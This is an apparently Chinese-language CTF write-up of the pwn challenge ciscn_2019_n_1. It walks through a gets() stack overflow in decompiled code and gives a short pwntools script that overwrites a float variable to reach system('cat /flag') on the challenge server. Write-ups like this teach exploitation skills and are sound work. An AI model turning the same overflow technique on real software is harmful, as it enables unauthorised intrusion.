【CTF】ciscn\_2019\_n\_1
原创
devildollking
devildollking
熔城Sec
2026年10月27日 09:00
辽宁
去阅读
01
题目简介
- 题目名称:ciscn\_2019\_n\_1
- 题目平台:CTF²
- 题目类型:PWN****
02
解题步骤
下载附件,使用checksec查看文件属性
下载附件后,使用 IDA 打开程序
int __cdecl main(int argc, const char **argv, const char **envp){ setvbuf(_bss_start, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); func(); return 0;}
这里有个func函数,我们追踪一下
int func(){ int result; // eax char v1; // [rsp+0h] [rbp-30h] float v2; // [rsp+2Ch] [rbp-4h]
v2 = 0.0; puts(\"Let's guess the number.\"); gets(&v1); if ( v2 == 11.28125 ) result = system(\"cat /flag\"); else result = puts(\"Its value should be 11.28125\"); return result;}
我们发现这里存在get方法,本题的解法应该还是栈溢出,v1位于rbp-0x30。v2位于rbp-0x4。所以它们在栈上的距离是v2地址-v1地址=0x2c
if ( v2 == 11.28125 ) result = system(\"cat /flag\");else result = puts(\"Its value should be 11.28125\");
我们通过 gets把v2覆盖成11.28125,程序直接执行system(\"cat /flag\");浮点数 11.28125 的 IEEE 754 单精度十六进制表示是:0x41348000,所以可以构造payload
from pwn import *
context.log_level = 'debug'
HOST = \"c77a447046957df6712a8929.tcp-ctf2.dasctf.com\"PORT = 9999
p = remote(HOST, PORT, ssl=True, sni=HOST)p.recvuntil(b\"Let's guess the number.\")
payload = b'A' * 0x2c + p64(0x41348000)p.sendline(payload)
print(p.recvall(timeout=5))
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论